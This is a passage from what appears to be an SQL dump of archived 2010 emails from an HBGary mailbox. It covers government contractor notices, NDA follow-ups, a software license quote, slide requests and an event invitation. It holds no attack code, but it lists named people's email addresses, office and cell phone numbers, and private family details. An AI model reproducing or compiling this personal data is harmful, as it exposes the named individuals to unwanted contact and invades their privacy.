activity since Wednesday, 09/08/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8696,'aaron_hbgary_com/8696.html'),(11510,'2010-09-09','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297008666.M483630P14101Q6365.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary BlackHat Talk','Aaron,\r\n\r\nBy chance, are you able to pass along the talk given by Greg Hoglund\r\n\"Malware Attribution: Tracking Cyber Spies and Digital Criminals.\"  My\r\nday job consists of supporting the FBI\'s ESOC and I\'ve heard great\r\nthings about Greg\'s talk.  Unfortunately I wasn\'t able to make it out\r\nto Vegas this year but I was hoping you\'d be able to pass this along.\r\nThanks in advance!\r\n\r\nR/\r\n\r\nJason Mueller\r\n',12850,'aaron_hbgary_com/12850.html'),(11511,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008666.M704236P14101Q6366.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Blackhat talk','Greg,\r\n\r\nCan u send me the latest copy of your tracking cyber criminals slides?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',12031,'aaron_hbgary_com/12031.html'),(11512,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008667.M257980P14101Q6368.eml','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','Re: Nda\'','nope.  not for renees group either\r\n\r\naaron\r\n\r\nOn Sep 9, 2010, at 9:03 AM, Mentzer, Justin C wrote:\r\n\r\n> Hey buddy did you receive our nda doc\'s for uno and pegasus?\r\n> Justin\r\n> \r\n> Justin C. Mentzer\r\n> Mission, Cyber & Technology Solutions Group \r\n> ManTech International Corporation\r\n> Office 703.388.2122\r\n> Cell 703.483.1715\r\n> Fax 703.388.2148\r\n\r\n',11036,'aaron_hbgary_com/11036.html'),(11513,'2010-09-09','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','/aaron@hbgary.com/new/1297008667.M31341P14101Q6367.eml','aaron@hbgary.com','Nda\'','Hey buddy did you receive our nda doc\'s for uno and pegasus?\r\nJustin\r\n\r\nJustin C. Mentzer\r\nMission, Cyber & Technology Solutions Group \r\nManTech International Corporation\r\nOffice 703.388.2122\r\nCell 703.483.1715\r\nFax 703.388.2148\r\n',16148,'aaron_hbgary_com/16148.html'),(11514,'2010-09-09','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','/aaron@hbgary.com/new/1297008667.M497889P14101Q6369.eml','aaron@hbgary.com','Re: Nda\'','Okay - I will call my CO staff\r\nJustin C. Mentzer\r\nMission, Cyber & Technology Solutions Group \r\nManTech International Corporation\r\nOffice 703.388.2122\r\nCell 703.483.1715\r\nFax 703.388.2148\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 09, 2010 09:06 AM\r\nTo: Mentzer, Justin C\r\nSubject: Re: Nda\'\r\n\r\nnope.  not for renees group either\r\n\r\naaron\r\n\r\nOn Sep 9, 2010, at 9:03 AM, Mentzer, Justin C wrote:\r\n\r\n> Hey buddy did you receive our nda doc\'s for uno and pegasus?\r\n> Justin\r\n> \r\n> Justin C. Mentzer\r\n> Mission, Cyber & Technology Solutions Group \r\n> ManTech International Corporation\r\n> Office 703.388.2122\r\n> Cell 703.483.1715\r\n> Fax 703.388.2148\r\n\r\n',2341,'aaron_hbgary_com/2341.html'),(11515,'2010-09-09','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008667.M718719P14101Q6370.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - licenses','Hi Aaron,Yes, the quote would be for Responder, FD Pro, and DDNA. Let me know what you can do for us today, appreciate your efforts.If we go ahead, I assume Nart will just have to download the software and input the right license key?Best wishes,ArnavOn 2010-09-08, at 11:53 PM, Aaron Barr wrote:Sure. &nbsp;Sorry for the delay. &nbsp;I am trying to work the best deal. &nbsp;Do you want ddna? &nbsp;Base for responder is 10k.Maintain is 2kDdna is 2k per year\r\nSo normal price is 14k for everything. &nbsp;I am negotiating a discount with HBGary. &nbsp;At most it might be 30%. &nbsp;I will have a quote tomorrow afternoon.Aaron&nbsp;Sent from my iPad\r\nOn Sep 8, 2010, at 9:48 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,Just wanted to touch base on this, hopefully we can sort this out Thursday?\r\nThanks,ArnavOn 2010-09-07, at 4:43 PM, Arnav Manchanda wrote:\r\nHi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\nRafal. &nbsp;I am very sorry to hear of your circumstances. &nbsp;I understand. &nbsp;I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav. &nbsp;I will get that quote out to you asap.\r\nLet me know when you are ready to reengage. &nbsp;We have started down a social media path that you might find interesting. &nbsp;Attached is a brochure for our social media training. &nbsp;For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training. &nbsp;So far that is going well for us.\r\nAaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\nDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.\r\nWe are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\nOn the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,Arnav\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n',1160,'aaron_hbgary_com/1160.html'),(11516,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008667.M939631P14101Q6371.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SecDev - licenses','Please make sure to get a quote to Arnav today. &nbsp;I guess need to talk to Penny about the 30% and where it comes from.Thanks,AaronBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: September 9, 2010 9:27:59 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: SecDev - licensesHi Aaron,Yes, the quote would be for Responder, FD Pro, and DDNA. Let me know what you can do for us today, appreciate your efforts.If we go ahead, I assume Nart will just have to download the software and input the right license key?Best wishes,ArnavOn 2010-09-08, at 11:53 PM, Aaron Barr wrote:Sure. &nbsp;Sorry for the delay. &nbsp;I am trying to work the best deal. &nbsp;Do you want ddna? &nbsp;Base for responder is 10k.Maintain is 2kDdna is 2k per year\r\nSo normal price is 14k for everything. &nbsp;I am negotiating a discount with HBGary. &nbsp;At most it might be 30%. &nbsp;I will have a quote tomorrow afternoon.Aaron&nbsp;Sent from my iPad\r\nOn Sep 8, 2010, at 9:48 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,Just wanted to touch base on this, hopefully we can sort this out Thursday?\r\nThanks,ArnavOn 2010-09-07, at 4:43 PM, Arnav Manchanda wrote:\r\nHi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\nRafal. &nbsp;I am very sorry to hear of your circumstances. &nbsp;I understand. &nbsp;I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav. &nbsp;I will get that quote out to you asap.\r\nLet me know when you are ready to reengage. &nbsp;We have started down a social media path that you might find interesting. &nbsp;Attached is a brochure for our social media training. &nbsp;For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training. &nbsp;So far that is going well for us.\r\nAaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\nDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.\r\nWe are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\nOn the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,Arnav\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n',12917,'aaron_hbgary_com/12917.html'),(11517,'2010-09-09','arc@westfields.net','/aaron@hbgary.com/new/1297008668.M198412P14101Q6372.eml','federal@hbgary.com','Ace Oveview Briefing 5 October 2010','The NRO Office of Contracts, Acquisition Center of Excellence (ACE), will be presenting an Overview Briefing to our Industry Partners.&nbsp; The Acquisition Center of Excellence is dedicated to helping the NRO and its Mission Partners accomplish successful acquisitions.&nbsp; The briefing is intended to educate the attendee on workings of the NRO ACE.&nbsp; It will also touch on some of the aspects relative to doing business with the NRO.&nbsp; In addition, the briefing will include a Q&amp;A session with a Security Representative from the NRO.\r\n\r\nACE Overview Briefings are scheduled for 5 October 2010.&nbsp; You may register for either the first session at 0900 or the second session at 1100.&nbsp; Briefings are unclassified and will be held at the ACE Mission Partner Facility at 14520 Avion Parkway, Suite 100 in Chantilly, VA.&nbsp; U.S. citizenship is required.&nbsp; Only registrants will be admitted.&nbsp; Reservations will be accepted on a first come basis.&nbsp; If you are interested in attending, please register on the Internet at: \r\nHTTPS://ARC.WESTFIELDS.NET/CONFERENCES/OVERVIEW\r\n\r\nYou will be contacted by e-mail with your confirmation.&nbsp; A picture ID (driver&rsquo;s license preferred) will be required at check-in.\r\n	 --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',15877,'aaron_hbgary_com/15877.html'),(11518,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008668.M454935P14101Q6373.eml','\"Bob Slapnik\" <bob@hbgary.com>','Slide on Active Defense','Hi bob,\r\n\r\nI need a slide or 2 on AD.\r\n\r\nCan you provide?\r\n\r\nAaron\r\n\r\n',6702,'aaron_hbgary_com/6702.html'),(11519,'2010-09-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008672.M693681P14101Q6374.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Slide on Active Defense','Here is the slide deck.  Not too long.  Take your pick.\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 9:41 AM\r\nTo: Bob Slapnik\r\nSubject: Slide on Active Defense\r\n\r\nHi bob,\r\n\r\nI need a slide or 2 on AD.\r\n\r\nCan you provide?\r\n\r\nAaron\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/08/10\r\n13:41:00\r\n',7314,'aaron_hbgary_com/7314.html'),(11520,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008678.M680903P14101Q6375.eml','aaron@hbgary.com','Alarm - INSCOM Social Media Training','September 9, 2010 10:00 AM : INSCOM Social Media Training ',5006,'aaron_hbgary_com/5006.html'),(11521,'2010-09-09','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297008679.M20853P14101Q6376.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: INSCOM Social Media Training @ Thu Sep 9 10am - 12pm (aaron@hbgary.com)',' more details &raquo;INSCOM Social Media TrainingWhenThu Sep 9 10am – 12pm Eastern TimeWhereHIlton, Springfield MD (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',5927,'aaron_hbgary_com/5927.html'),(11522,'2010-09-09','\"Pack Fancher\" <pfancher@kippsdesanto.com>','/aaron@hbgary.com/new/1297008679.M428019P14101Q6377.eml','aaron@hbgary.com','Cyber Security & C4ISR - The New Tools of Security','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nI enjoyed meeting you last night and I wish you the\r\nbest with building HBGary’s Federal group.. \r\n\r\nAs I mentioned I hope you will consider attending two events I\r\nam producing, both of which may be relevant to your efforts. \r\n\r\nSee evite below and one to follow.\r\n\r\nYou are cordially invited to KippsDeSantos’ CEO-only event with\r\nformer head of ISR for USAF Gen. David Deptula, former USD for ATL Ken Krieg\r\nand the J5 from the newly established Cyber Command, Gen. Zan Vautrinot. The\r\nevite below has all the details. To RSVP simply reply. \r\n\r\nPack \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      Cyber Security &amp; C4ISR – The New Tools of Security\r\n      collecting &amp; pROTECTING VITAL INFORMATION HAS NEVER BEEN\r\n      MORE CRITICAL, \r\n      OR MORE CHALLENGING, FOR OUR NATIONAL SECURITY\r\n      \r\n      \r\n       \r\n        \r\n        KippsDeSanto\r\n        &amp; Co., Holland &amp; Knight, McGladrey and Renaissance Strategic\r\n        Advisors are pleased to invite you to presentations and discussions\r\n        with the senior leadership responsible for policy formation &amp;\r\n        planning for our nations’ two most relevant national security\r\n        technology efforts; the newly established Cyber Command (CYBERCOM) and\r\n        USAF HQ Intelligence,\r\n        Surveillance and Reconnaissance (ISR). You’ll enjoy a cocktail\r\n        reception and gain unique insights into the National Security\r\n        community’s future initiatives and priorities. \r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n       \r\n       \r\n        \r\n        &nbsp;\r\n        \r\n         \r\n          \r\n          Panel:\r\n          Lt. Gen. David A. Deptula (USAF Retired) was the Deputy Chief of Staff for Intelligence,\r\n          Surveillance and Reconnaissance, Headquarters U.S. Air Force,\r\n          Washington, D.C. He was responsible to the Secretary and Chief of\r\n          Staff of the Air Force for policy formulation, planning, evaluation,\r\n          oversight, and leadership of Air Force intelligence, surveillance and\r\n          reconnaissance capabilities. 